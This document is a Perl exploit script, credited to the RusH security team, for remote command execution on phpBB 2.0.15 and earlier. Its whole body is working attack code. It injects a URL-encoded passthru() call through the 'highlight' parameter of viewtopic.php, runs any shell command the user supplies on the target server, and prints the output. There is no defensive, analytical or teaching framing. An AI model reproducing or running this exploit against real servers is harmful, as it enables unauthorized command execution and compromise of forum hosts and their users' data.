#!/usr/bin/perl

use IO::Socket;

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if (@ARGV < 4)
 {
 print q(############################################################
     phpBB <=2.0.15 remote command execution exploit
        by RusH security team // www.rst.void.ru
	Littttttttttle modificated by nori!
		r57 respect!
############################################################
 usage:
 
r57phpbb2010.pl [URL] [DIR] [NUM] [CMD]
 params:
  [URL] - server url e.g. www.phpbb.com
  [DIR] - directory where phpBB installed e.g. /phpBB/ or /
  [NUM] - number of existing topic
  [CMD] - command for execute e.g. ls or "ls -la" 
############################################################
 );   
 exit;
 }

$serv  = $ARGV[0];
$dir   = $ARGV[1];
$topic = $ARGV[2];
$cmd   = $ARGV[3];

$serv =~ s/(http:\/\/)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path  = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%27.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%27';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); }
if ($on == 1) { print "  $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

### EOF ###